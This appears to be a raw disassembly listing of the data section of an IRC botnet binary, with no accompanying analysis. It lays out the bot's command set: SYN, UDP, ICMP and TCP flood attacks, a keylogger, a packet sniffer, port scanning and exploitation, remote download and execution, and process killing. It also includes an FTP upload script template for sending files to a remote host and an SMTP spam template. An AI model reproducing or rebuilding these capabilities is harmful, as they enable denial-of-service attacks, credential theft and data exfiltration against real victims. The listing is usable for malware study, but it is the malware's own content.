		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  69h	; i
		db 63h,	6Dh, 70h
		db  2Eh	; .
		db 6Dh,	1Fh, 64h
		db  1Fh
		db 6Ch,	20h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aFloodingSForSS	db '  Flooding: (%s) for %s seconds.',0
		align 4
unk_43490C	db    2			; DATA XREF: sub_40CE55+3A17o
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  63h	; c
		db 6Ch,	6Fh, 6Eh
		db  65h	; e
		db 73h,	2Eh, 6Dh
		db  1Fh
		db 64h,	1Fh, 6Ch
		db  20h
		db 29h,	20h, 2
		db 0BBh	; »
		db 0BBh, 2, 20h
aFailedToSta_15	db ' Failed to start clone thread, error: <%d>.',0
unk_434958	db    2			; DATA XREF: sub_40CE55+39A8o
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  63h	; c
		db 6Ch,	6Fh, 6Eh
		db  65h	; e
		db 73h,	2Eh, 6Dh
		db  1Fh
		db 64h,	1Fh, 6Ch
		db  20h
		db 29h,	20h, 2
		db 0BBh	; »
		db 0BBh, 2, 20h
aCreatedOnSDInC	db ' Created on %s:%d, in channel %s.',0
		align 4
unk_43499C	db    2			; DATA XREF: sub_40CE55+3920o
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  64h	; d
		db 64h,	6Fh, 73h
		db  2Eh	; .
		db 6Dh,	1Fh, 64h
		db  1Fh
		db 6Ch,	20h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aFailedToSta_16	db '  Failed to start flood thread, error: <%d>.',0
		align 4
unk_4349E8	db    2			; DATA XREF: sub_40CE55+38A8o
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  64h	; d
		db 64h,	6Fh, 73h
		db  2Eh	; .
		db 6Dh,	1Fh, 64h
		db  1Fh
		db 6Ch,	20h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aFloodingSSForS	db '  Flooding: (%s:%s) for %s seconds.',0
		align 4
dword_434A2C	dd 28026502h, 62302E31h, 20282029h, 2E6E7973h, 1F641F6Dh
					; DATA XREF: sub_40CE55+3813o
		dd 2029206Ch, 2BBBB02h
aFailedToSta_17	db '  Failed to start flood thread, error: <%d>.',0
		align 4
dword_434A78	dd 28026502h, 62302E31h, 20282029h, 2E6E7973h, 1F641F6Dh
					; DATA XREF: sub_40CE55+3799o
		dd 2029206Ch, 2BBBB02h
aFloodingSSFo_0	db '  Flooding: (%s:%s) for %s seconds.',0
unk_434AB8	db    2			; DATA XREF: sub_40CE55+3729o
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  64h	; d
		db 6Fh,	77h, 6Eh
		db  6Ch	; l
		db 6Fh,	61h, 64h
		db  2Eh	; .
		db 6Dh,	1Fh, 64h
		db  1Fh
		db 6Ch,	20h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aFailedToStartT	db '  Failed to start transfer thread, error: <%d>.',0
		align 4
unk_434B0C	db    2			; DATA XREF: sub_40CE55+36BAo
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  64h	; d
		db 6Fh,	77h, 6Eh
		db  6Ch	; l
		db 6Fh,	61h, 64h
		db  2Eh	; .
		db 6Dh,	1Fh, 64h
		db  1Fh
		db 6Ch,	20h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aDownloadingUrl	db '  Downloading URL: %s to: %s.',0
		align 4
unk_434B4C	db    2			; DATA XREF: sub_40CE55+35EBo
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  72h	; r
		db 65h,	64h, 69h
		db  72h	; r
		db 65h,	63h, 74h
		db  2Eh	; .
		db 6Dh,	1Fh, 64h
		db  1Fh
		db 6Ch,	20h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aFailedToStartR	db '  Failed to start redirection thread, error: <%d>.',0
unk_434BA0	db    2			; DATA XREF: sub_40CE55+357Co
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  72h	; r
		db 65h,	64h, 69h
		db  72h	; r
		db 65h,	63h, 74h
		db  2Eh	; .
		db 6Dh,	1Fh, 64h
		db  1Fh
		db 6Ch,	20h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aTcpRedirectCre	db '  TCP redirect created from: %s:%d to: %s:%d.',0
		align 10h
unk_434BF0	db    2			; DATA XREF: sub_40CE55+34F1o
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  70h	; p
		db 6Fh,	72h, 74h
		db  73h	; s
		db 63h,	61h, 6Eh
		db  2Eh	; .
		db 6Dh,	1Fh, 64h
		db  1Fh
		db 6Ch,	20h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aFailedToSta_18	db '  Failed to start scan thread, error: <%d>.',0
		align 10h
unk_434C40	db    2			; DATA XREF: sub_40CE55+3482o
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  70h	; p
		db 6Fh,	72h, 74h
		db  73h	; s
		db 63h,	61h, 6Eh
		db  2Eh	; .
		db 6Dh,	1Fh, 64h
		db  1Fh
		db 6Ch,	20h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aPortScanStarte	db '  Port scan started: %s:%d with delay: %d(ms).',0
aSSS_0		db '[%s] <%s> %s',0     ; DATA XREF: sub_40CE55+33FEo
		align 10h
aSSS_1		db '[%s] * %s %s',0     ; DATA XREF: sub_40CE55+3301o
		align 10h
dword_434CB0	dd 54434101h, 204E4F49h, 17325h					; sub_40CE55+42B1o
dword_434CBC	dd 28026502h, 62302E31h, 20282029h, 6C707865h, 2E74696Fh
					; DATA XREF: sub_40CE55+3214o
					; sub_40CE55+4DA6o
		dd 1F641F6Dh, 2029206Ch, 2BBBB02h
aFailedToSta_19	db '  Failed to start scan thread, error: <%d>.',0
dword_434D08	dd 28026502h, 62302E31h, 20282029h, 6C707865h, 2E74696Fh
					; DATA XREF: sub_40CE55+31A5o
		dd 1F641F6Dh, 2029206Ch, 2BBBB02h
aSExploitationS	db '  %s Exploitation started on %s:%d waiting %d seconds for %d minu'
		db 'tes using %d threads.',0
		align 10h
aSequential	db 'Sequential',0       ; DATA XREF: sub_40CE55+317Ao
					; sub_40CE55+4D0Ao
		align 4
aRandom_0	db 'Random',0           ; DATA XREF: sub_40CE55+3173o
					; sub_40CE55+4D03o
		align 4
dword_434D94	dd 28026502h, 62302E31h, 20282029h, 6C707865h, 2E74696Fh
					; DATA XREF: sub_40CE55+3035o
		dd 1F641F6Dh, 2029206Ch, 2BBBB02h
aFailedToSta_20	db '  Failed to start scan, no IP specified.',0
		align 10h
dword_434DE0	dd 28026502h, 62302E31h, 20282029h, 6C707865h, 2E74696Fh
					; DATA XREF: sub_40CE55+2EECo
					; sub_40CE55+4B52o
		dd 1F641F6Dh, 2029206Ch, 2BBBB02h
aAlreadyDScanni	db '  Already %d scanning threads. Too many specified.',0
		align 4
dword_434E34	dd 28026502h, 62302E31h, 20282029h, 2E706475h, 1F641F6Dh
					; DATA XREF: sub_40CE55+2EBBo
		dd 2029206Ch, 2BBBB02h
aFailedToSta_21	db '  Failed to start flood thread, error: <%d>.',0
		align 10h
dword_434E80	dd 28026502h, 62302E31h, 20282029h, 2E706475h, 1F641F6Dh
					; DATA XREF: sub_40CE55+2E4Co
		dd 2029206Ch, 2BBBB02h
aSendingDPacket	db '  Sending %d packets to: %s. Packet size: %d, Delay: %d(ms).',0
		align 4
aIcmp_dllNotAva	db 'ICMP.dll not available',0 ; DATA XREF: sub_40CE55+2D85o
		align 4
unk_434EF4	db    2			; DATA XREF: sub_40CE55+2D70o
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  70h	; p
		db 69h,	6Eh, 67h
		db  2Eh	; .
		db 6Dh,	1Fh, 64h
		db  1Fh
		db 6Ch,	20h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aFailedToSta_22	db '  Failed to start flood thread, error: <%d>.',0
		align 10h
unk_434F40	db    2			; DATA XREF: sub_40CE55+2D05o
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  70h	; p
		db 69h,	6Eh, 67h
		db  2Eh	; .
		db 6Dh,	1Fh, 64h
		db  1Fh
		db 6Ch,	20h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aSendingDPingsT	db '  Sending %d pings to %s. packet size: %d, timeout: %d(ms).',0
		align 4
dword_434F9C	dd 28026502h, 62302E31h, 20282029h, 2E706374h, 1F641F6Dh
					; DATA XREF: sub_40CE55:loc_40FABDo
		dd 2029206Ch, 2BBBB02h
aInvalidFlood_0	db '  Invalid flood time must be greater than 0.',0
		align 4
dword_434FE8	dd 28026502h, 62302E31h, 20282029h, 2E706374h, 1F641F6Dh
					; DATA XREF: sub_40CE55+2C5Eo
		dd 2029206Ch, 2BBBB02h
aFailedToSta_23	db '  Failed to start flood thread, error: <%d>.',0
		align 4
dword_435034	dd 28026502h, 62302E31h, 20282029h, 2E706374h, 1F641F6Dh
					; DATA XREF: sub_40CE55+2BE4o
		dd 2029206Ch, 2BBBB02h
aSSFloodingSSFo	db '  %s %s flooding: (%s:%s) for %s seconds.',0
		align 4
aNormal		db 'Normal',0           ; DATA XREF: sub_40CE55+2BD4o
		align 4
aSpoofed	db 'Spoofed',0          ; DATA XREF: sub_40CE55+2BCDo
dword_43508C	dd 28026502h, 62302E31h, 20282029h, 2E706374h, 1F641F6Dh
					; DATA XREF: sub_40CE55+2B38o
		dd 2029206Ch, 2BBBB02h
aInvalidFloodTy	db '  Invalid flood type specified.',0
dword_4350C8	dd 28026502h, 62302E31h, 20282029h, 2E707466h, 1F641F6Dh
					; DATA XREF: sub_40CE55:loc_40F8A5o
		dd 2029206Ch, 2BBBB02h
aUploadingFileS	db '  Uploading file: %s to: %s failed.',0
dword_435108	dd 28026502h, 62302E31h, 20282029h, 2E707466h, 1F641F6Dh
					; DATA XREF: sub_40CE55+2A49o
		dd 2029206Ch, 2BBBB02h
aUploadingFil_0	db '  Uploading file: %s to: %s',0
aFtp_exe	db 'ftp.exe',0          ; DATA XREF: sub_40CE55+2A32o
aSS_4		db '-s:%s',0            ; DATA XREF: sub_40CE55+2A1Bo
		align 10h
aOpenSSSSPutSBy	db 'open %s',0Dh,0Ah    ; DATA XREF: sub_40CE55+29FBo
		db '%s',0Dh,0Ah
		db '%s',0Dh,0Ah
		db '%s',0Dh,0Ah
		db 'put %s',0Dh,0Ah
		db 'bye',0Dh,0Ah,0
		align 4
aSIII_dll	db '%s\%i%i%i.dll',0    ; DATA XREF: sub_40CE55+29C6o
		align 4
dword_435184	dd 28026502h, 62302E31h, 20282029h, 2E707466h, 1F641F6Dh
					; DATA XREF: sub_40CE55+2948o
		dd 2029206Ch, 2BBBB02h
aFileNotFoundS_	db '  File not found: %s.',0
		align 4
aFtp_upload	db 'ftp.upload',0       ; DATA XREF: sub_40CE55+2925o
		align 4
aUtil_hcon	db 'util.hcon',0        ; DATA XREF: sub_40CE55+2902o
		align 10h
aUtil_httpcon	db 'util.httpcon',0     ; DATA XREF: sub_40CE55+28EBo
		align 10h
unk_4351E0	db    3			; DATA XREF: sub_40CE55+28AAo
		db 31h,	35h, 2Ch
		db  31h	; 1
		db 34h,	65h, 6Eh
		db  7Ah	; z
		db 31h,	30h, 62h
		db  20h
		db 3, 32h, 2Eh
		db  2Eh	; .
		db 20h,	3, 31h
		db  35h	; 5
		db 28h,	65h, 6Dh
		db  61h	; a
		db 69h,	6Ch, 3
		db  32h	; 2
		db 2Eh,	3, 31h
		db  35h	; 5
		db 6Dh,	6Fh, 64h
		db  29h	; )
		db 20h,	3, 32h
		db 0BBh	; »
		db 3, 31h, 35h
aMessageSentToS	db '  Message sent to %s.',0
		align 4
aHeloRndnickMai	db 'helo $rndnick',0Ah  ; DATA XREF: sub_40CE55+2836o
		db 'mail from: <%s>',0Ah
		db 'rcpt to: <%s>',0Ah
		db 'data',0Ah
		db 'subject: %s',0Ah
		db 'from: %s',0Ah
		db '%s',0Ah
		db '.',0Ah,0
a_:					; DATA XREF: sub_40CE55+279Ao
		unicode	0, <_>,0
aUtil_email	db 'util.email',0       ; DATA XREF: sub_40CE55+274Bo
		align 10h
aUsa		db 'usa',0              ; DATA XREF: sub_40CE55+2734o
aDdos_tcpflood	db 'ddos.tcpflood',0    ; DATA XREF: sub_40CE55+271Do
		align 4
aPg		db 'pg',0               ; DATA XREF: sub_40CE55+2706o
		align 4
aDdos_pingf	db 'ddos.pingf',0       ; DATA XREF: sub_40CE55+26EFo
		align 4
aDdos_pingflood	db 'ddos.pingflood',0   ; DATA XREF: sub_40CE55+26D8o
		align 4
aPu		db 'pu',0               ; DATA XREF: sub_40CE55+26C1o
		align 4
aDdos_udpf	db 'ddos.udpf',0        ; DATA XREF: sub_40CE55+26AAo
		align 4
aDdos_udpflood	db 'ddos.udpflood',0    ; DATA XREF: sub_40CE55+2693o
		align 4
aVuln_start	db 'vuln.start',0       ; DATA XREF: sub_40CE55+2665o
		align 10h
aClone_ac	db 'clone.ac',0         ; DATA XREF: sub_40CE55+263Co
		align 4
aClone_action	db 'clone.action',0     ; DATA XREF: sub_40CE55+2625o
		align 4
aClone_pm	db 'clone.pm',0         ; DATA XREF: sub_40CE55+260Eo
		align 4
aClone_privmsg	db 'clone.privmsg',0    ; DATA XREF: sub_40CE55+25F7o
		align 4
aEnz_ps		db 'enz.ps',0           ; DATA XREF: sub_40CE55+25E0o
		align 10h
aEnz_portscan	db 'enz.portscan',0     ; DATA XREF: sub_40CE55+25C9o
		align 10h
aServer_rd_on	db 'server.rd.on',0     ; DATA XREF: sub_40CE55+25B2o
		align 10h
aServer_redir_0	db 'server.redirect.on',0 ; DATA XREF: sub_40CE55+259Bo
		align 4
aD1		db 'd1',0               ; DATA XREF: sub_40CE55+2584o
		align 4
aDownload_fromw	db 'download.fromwww',0 ; DATA XREF: sub_40CE55+256Do
		align 4
aSy1		db 'sy1',0              ; DATA XREF: sub_40CE55+2556o
aDdos_synflood	db 'ddos.synflood',0    ; DATA XREF: sub_40CE55+253Fo
		align 10h
aDs_rm		db 'ds.rm',0            ; DATA XREF: sub_40CE55+2528o
		align 4
aDs_ack		db 'ds.ack',0           ; DATA XREF: sub_40CE55+2511o
		align 10h
aDs_sy1		db 'ds.sy1',0           ; DATA XREF: sub_40CE55+24FAo
		align 4
aClone_start	db 'clone.start',0      ; DATA XREF: sub_40CE55+24E3o
aClone_make	db 'clone.make',0       ; DATA XREF: sub_40CE55+24CCo
		align 10h
aDdos_ic	db 'ddos.ic',0          ; DATA XREF: sub_40CE55+24A3o
aDdos_icmp	db 'ddos.icmp',0        ; DATA XREF: sub_40CE55+248Co
		align 4
aBox_mv		db 'box.mv',0           ; DATA XREF: sub_40CE55+2475o
		align 4
aBox_rename	db 'box.rename',0       ; DATA XREF: sub_40CE55+245Eo
		align 4
aBox_ff		db 'box.ff',0           ; DATA XREF: sub_40CE55+2447o
		align 10h
aBox_findfile	db 'box.findfile',0     ; DATA XREF: sub_40CE55+2430o
		align 10h
aBox_e		db 'box.e',0            ; DATA XREF: sub_40CE55+2419o
		align 4
aBox_execute	db 'box.execute',0      ; DATA XREF: sub_40CE55+2402o
aDownload_upz	db 'download.upz',0     ; DATA XREF: sub_40CE55+23EBo
		align 4
aDownload_updiz	db 'download.updiz',0   ; DATA XREF: sub_40CE55+23D4o
		align 4
aEnz_de		db 'enz.de',0           ; DATA XREF: sub_40CE55+23BDo
		align 4
aEnz_delay	db 'enz.delay',0        ; DATA XREF: sub_40CE55+23A6o
		align 4
aEnz_rp		db 'enz.rp',0           ; DATA XREF: sub_40CE55+238Fo
		align 10h
aEnz_repeat	db 'enz.repeat',0       ; DATA XREF: sub_40CE55+2378o
		align 4
aClone_p	db 'clone.p',0          ; DATA XREF: sub_40CE55+2361o
aClone_part	db 'clone.part',0       ; DATA XREF: sub_40CE55+234Ao
		align 10h
aClone_j	db 'clone.j',0          ; DATA XREF: sub_40CE55+2333o
aClone_join	db 'clone.join',0       ; DATA XREF: sub_40CE55+231Co
		align 4
aClone_ni	db 'clone.ni',0         ; DATA XREF: sub_40CE55+2305o
		align 10h
aClone_nick	db 'clone.nick',0       ; DATA XREF: sub_40CE55+22EEo
		align 4
aClone_m	db 'clone.m',0          ; DATA XREF: sub_40CE55+22D7o
aClone_mode	db 'clone.mode',0       ; DATA XREF: sub_40CE55+22C0o
		align 10h
aClone_ra	db 'clone.ra',0         ; DATA XREF: sub_40CE55+22A9o
		align 4
aClone_raw	db 'clone.raw',0        ; DATA XREF: sub_40CE55+2292o
		align 4
aEnz_m		db 'enz.m',0            ; DATA XREF: sub_40CE55+227Bo
		align 10h
aEnz_mode	db 'enz.mode',0         ; DATA XREF: sub_40CE55+2264o
		align 4
aEnz_cy		db 'enz.cy',0           ; DATA XREF: sub_40CE55+224Do
		align 4
aEnz_cycle	db 'enz.cycle',0        ; DATA XREF: sub_40CE55+2236o
		align 10h
aEnz_ac		db 'enz.ac',0           ; DATA XREF: sub_40CE55+221Fo
		align 4
aEnz_action	db 'enz.action',0       ; DATA XREF: sub_40CE55+2208o
		align 4
aEnz_pm		db 'enz.pm',0           ; DATA XREF: sub_40CE55+21F1o
		align 4
aEnz_privmsg	db 'enz.privmsg',0      ; DATA XREF: sub_40CE55+21DAo
aEnz_aa		db 'enz.aa',0           ; DATA XREF: sub_40CE55+21C3o
		align 10h
aEnz_addalias	db 'enz.addalias',0     ; DATA XREF: sub_40CE55+21ACo
		align 10h
aEnz_gh		db 'enz.gh',0           ; DATA XREF: sub_40CE55+2183o
		align 4
aEnz_gethost	db 'enz.gethost',0      ; DATA XREF: sub_40CE55+216Co
dword_435534	dd 28026502h, 62302E31h, 20282029h, 2E74656Eh, 1F641F6Dh
					; DATA XREF: sub_40CE55:loc_40EF73o
		dd 2029206Ch, 2BBBB02h
aCommandUnknown	db '  Command unknown.',0
		align 4
dword_435564	dd 28026502h, 62302E31h, 20282029h, 2E74656Eh, 1F641F6Dh
					; DATA XREF: sub_40CE55:loc_40EF6Co
		dd 2029206Ch, 2BBBB02h
aNoMessageSpeci	db '  No message specified.',0
dword_435598	dd 28026502h, 62302E31h, 20282029h, 2E74656Eh, 1F641F6Dh
					; DATA XREF: sub_40CE55:loc_40EF24o
		dd 2029206Ch, 2BBBB02h
aUserListFailed	db '  User list failed.',0
dword_4355C8	dd 28026502h, 62302E31h, 20282029h, 2E74656Eh, 1F641F6Dh
					; DATA XREF: sub_40CE55+20C8o
		dd 2029206Ch, 2BBBB02h
aUserListComple	db '  User list completed.',0
		align 4
aUser		db 'user',0             ; DATA XREF: sub_40CE55+203Bo
		align 4
dword_435604	dd 28026502h, 62302E31h, 20282029h, 2E74656Eh, 1F641F6Dh
					; DATA XREF: sub_40CE55:loc_40EE85o
		dd 2029206Ch, 2BBBB02h
aShareListFaile	db '  Share list failed.',0
		align 4
dword_435638	dd 28026502h, 62302E31h, 20282029h, 2E74656Eh, 1F641F6Dh
					; DATA XREF: sub_40CE55+2026o
		dd 2029206Ch, 2BBBB02h
aShareListCompl	db '  Share list completed.',0
aShare		db 'share',0            ; DATA XREF: sub_40CE55+1FBEo
		align 4
aDelete		db 'delete',0           ; DATA XREF: sub_40CE55+1FA3o
		align 4
aPause		db 'pause',0            ; DATA XREF: sub_40CE55+1F70o
		align 4
aStop		db 'stop',0             ; DATA XREF: sub_40CE55+1F58o
		align 4
dword_43568C	dd 28026502h, 62302E31h, 20282029h, 2E74656Eh, 1F641F6Dh
					; DATA XREF: sub_40CE55:loc_40EDA2o
		dd 2029206Ch, 2BBBB02h
aServiceListFai	db '  Service list failed.',0
		align 10h
dword_4356C0	dd 28026502h, 62302E31h, 20282029h, 2E74656Eh, 1F641F6Dh
					; DATA XREF: sub_40CE55+1F43o
		dd 2029206Ch, 2BBBB02h
aServiceListCom	db '  Service list completed.',0
		align 4
dword_4356F8	dd 28026502h, 62302E31h, 20282029h, 2E74656Eh, 1F641F6Dh
					; DATA XREF: sub_40CE55+1EBFo
		dd 2029206Ch, 2BBBB02h
aFailedToLoadAd	db '  Failed to load advapi32.dll or netapi32.dll.',0
		align 4
aBox_net	db 'box.net',0          ; DATA XREF: sub_40CE55+1E9Bo
unk_43574C	db    2			; DATA XREF: sub_40CE55+1E5Ao
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  6Bh	; k
		db 65h,	79h, 6Ch
		db  6Fh	; o
		db 67h,	2Eh, 6Dh
		db  1Fh
		db 64h,	1Fh, 6Ch
		db  20h
		db 29h,	20h, 2
		db 0BBh	; »
		db 0BBh, 2, 20h
aFailedToSta_24	db ' Failed to start logging thread, error: <%d>.',0
		align 4
unk_43579C	db    2			; DATA XREF: sub_40CE55+1DEFo
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  6Bh	; k
		db 65h,	79h, 6Ch
		db  6Fh	; o
		db 67h,	2Eh, 6Dh
		db  1Fh
		db 64h,	1Fh, 6Ch
		db  20h
		db 29h,	20h, 2
		db 0BBh	; »
		db 0BBh, 2, 20h
aKeyLoggerActiv	db ' Key logger active.',0
unk_4357D0	db    2			; DATA XREF: sub_40CE55+1D71o
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  6Bh	; k
		db 65h,	79h, 6Ch
		db  6Fh	; o
		db 67h,	2Eh, 6Dh
		db  1Fh
		db 64h,	1Fh, 6Ch
		db  20h
		db 29h,	20h, 2
		db 0BBh	; »
		db 0BBh, 2, 20h
aAlreadyRunni_1	db ' Already running.',0
		align 4
unk_435804	db    2			; DATA XREF: sub_40CE55:loc_40EBA2o
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  6Bh	; k
		db 65h,	79h, 6Ch
		db  6Fh	; o
		db 67h,	2Eh, 6Dh
		db  1Fh
		db 64h,	1Fh, 6Ch
		db  20h
		db 29h,	20h, 2
		db 0BBh	; »
		db 0BBh, 2, 20h
aNoKeyLoggerThr	db ' No key logger thread found.',0
		align 4
unk_435844	db    2			; DATA XREF: sub_40CE55+1D43o
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  6Bh	; k
		db 65h,	79h, 6Ch
		db  6Fh	; o
		db 67h,	2Eh, 6Dh
		db  1Fh
		db 64h,	1Fh, 6Ch
		db  20h
		db 29h,	20h, 2
		db 0BBh	; »
		db 0BBh, 2, 20h
aKeyLoggerStopp	db ' Key logger stopped. (%d thread(s) stopped.)',0
		align 4
aBox_keylog	db 'box.keylog',0       ; DATA XREF: sub_40CE55+1CE9o
		align 10h
unk_4358A0	db    2			; DATA XREF: sub_40CE55:loc_40EB34o
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  73h	; s
		db 6Eh,	69h, 66h
		db  66h	; f
		db 2Eh,	6Dh, 1Fh
		db  64h	; d
		db 1Fh,	6Ch, 20h
		db  29h	; )
		db 20h,	2, 0BBh
		db 0BBh	; »
		db 2, 2	dup(20h)
aNoCarnivoreThr	db 'No Carnivore thread found.',0
		align 4
unk_4358DC	db    2			; DATA XREF: sub_40CE55+1CD5o
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  73h	; s
		db 6Eh,	69h, 66h
		db  66h	; f
		db 2Eh,	6Dh, 1Fh
		db  64h	; d
		db 1Fh,	6Ch, 20h
		db  29h	; )
		db 20h,	2, 0BBh
		db 0BBh	; »
		db 2, 2	dup(20h)
aCarnivoreStopp	db 'Carnivore stopped. (%d thread(s) stopped.)',0
		align 4
aOff		db 'off',0              ; DATA XREF: sub_40CE55+1CB2o
					; sub_40CE55+1D20o
unk_43592C	db    2			; DATA XREF: sub_40CE55+1CA7o
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  73h	; s
		db 6Eh,	69h, 66h
		db  66h	; f
		db 2Eh,	6Dh, 1Fh
		db  64h	; d
		db 1Fh,	6Ch, 20h
		db  29h	; )
		db 20h,	2, 0BBh
		db 0BBh	; »
		db 2, 2	dup(20h)
aFailedToSta_25	db 'Failed to start sniffer thread, error: <%d>.',0
		align 4
unk_43597C	db    2			; DATA XREF: sub_40CE55+1C38o
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  73h	; s
		db 6Eh,	69h, 66h
		db  66h	; f
		db 2Eh,	6Dh, 1Fh
		db  64h	; d
		db 1Fh,	6Ch, 20h
		db  29h	; )
		db 20h,	2, 0BBh
		db 0BBh	; »
		db 2, 2	dup(20h)
aCarnivorePacke	db 'Carnivore packet sniffer active.',0
		align 10h
unk_4359C0	db    2			; DATA XREF: sub_40CE55+1BD4o
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  73h	; s
		db 6Eh,	69h, 66h
		db  66h	; f
		db 2Eh,	6Dh, 1Fh
		db  64h	; d
		db 1Fh,	6Ch, 20h
		db  29h	; )
		db 20h,	2, 0BBh
		db 0BBh	; »
		db 2, 2	dup(20h)
aAlreadyRunni_2	db 'Already running.',0
		align 4
aOn		db 'on',0               ; DATA XREF: sub_40CE55+1BB4o
					; sub_40CE55+1CFEo
		align 4
aSniff		db 'sniff',0            ; DATA XREF: sub_40CE55+1B9Fo
		align 10h
aBox_rf		db 'box.rf',0           ; DATA XREF: sub_40CE55+1B88o
		align 4
aBox_readfile	db 'box.readfile',0     ; DATA XREF: sub_40CE55+1B71o
		align 4
aBox_cm		db 'box.cm',0           ; DATA XREF: sub_40CE55+1B5Ao
		align 10h
aBox_cmd	db 'box.cmd',0          ; DATA XREF: sub_40CE55+1B43o
aMirc_cmd	db 'mirc.cmd',0         ; DATA XREF: sub_40CE55+1B15o
					; sub_40CE55+1B2Co
		align 4
aEnz_v		db 'enz.v',0            ; DATA XREF: sub_40CE55+1AFEo
		align 4
aEnz_visit	db 'enz.visit',0        ; DATA XREF: sub_40CE55+1AE7o
		align 4
aBox_fl		db 'box.fl',0           ; DATA XREF: sub_40CE55+1AD0o
		align 10h
aBox_filelist	db 'box.filelist',0     ; DATA XREF: sub_40CE55+1AB9o
		align 10h
aDcc_gt		db 'dcc.gt',0           ; DATA XREF: sub_40CE55+1AA2o
		align 4
aDcc_get	db 'dcc.get',0          ; DATA XREF: sub_40CE55+1A8Bo
aBox_del	db 'box.del',0          ; DATA XREF: sub_40CE55+1A74o
aBox_delete	db 'box.delete',0       ; DATA XREF: sub_40CE55+1A5Do
		align 4
aBox_pkid	db 'box.pkid',0         ; DATA XREF: sub_40CE55+1A46o
		align 10h
aBox_prockillid	db 'box.prockillid',0   ; DATA XREF: sub_40CE55+1A2Fo
		align 10h
aBox_kpn	db 'box.kpn',0          ; DATA XREF: sub_40CE55+1A18o
aBox_killprocna	db 'box.killprocname',0 ; DATA XREF: sub_40CE55+1A01o
		align 4
aEnz_dn		db 'enz.dn',0           ; DATA XREF: sub_40CE55+19EAo
		align 4
aEnz_dns	db 'enz.dns',0          ; DATA XREF: sub_40CE55+19D3o
aEnz_se		db 'enz.se',0           ; DATA XREF: sub_40CE55+19BCo
		align 4
aEnz_setserve	db 'enz.setserve',0     ; DATA XREF: sub_40CE55+19A5o
		align 4
aBox_o		db 'box.o',0            ; DATA XREF: sub_40CE55+198Eo
		align 4
aBox_open	db 'box.open',0         ; DATA XREF: sub_40CE55+1977o
		align 4
aEnz_pr		db 'enz.pr',0           ; DATA XREF: sub_40CE55+1960o
		align 10h
aEnz_prefix	db 'enz.prefix',0       ; DATA XREF: sub_40CE55+1949o
		align 4
aClone_rn	db 'clone.rn',0         ; DATA XREF: sub_40CE55+1932o
		align 4
aClone_rndnick	db 'clone.rndnick',0    ; DATA XREF: sub_40CE55+191Bo
		align 4
aClone_q	db 'clone.q',0          ; DATA XREF: sub_40CE55+1904o
aClone_quit	db 'clone.quit',0       ; DATA XREF: sub_40CE55+18EDo
		align 4
aThreads_k	db 'threads.k',0        ; DATA XREF: sub_40CE55+18D6o
		align 4
aThreads_kill	db 'threads.kill',0     ; DATA XREF: sub_40CE55+18BFo
		align 4
aEnz_r		db 'enz.r',0            ; DATA XREF: sub_40CE55+18A8o
		align 10h
aEnz_raw	db 'enz.raw',0          ; DATA XREF: sub_40CE55+1891o
aEnz_pt		db 'enz.pt',0           ; DATA XREF: sub_40CE55+187Ao
		align 10h
aEnz_part	db 'enz.part',0         ; DATA XREF: sub_40CE55+1863o
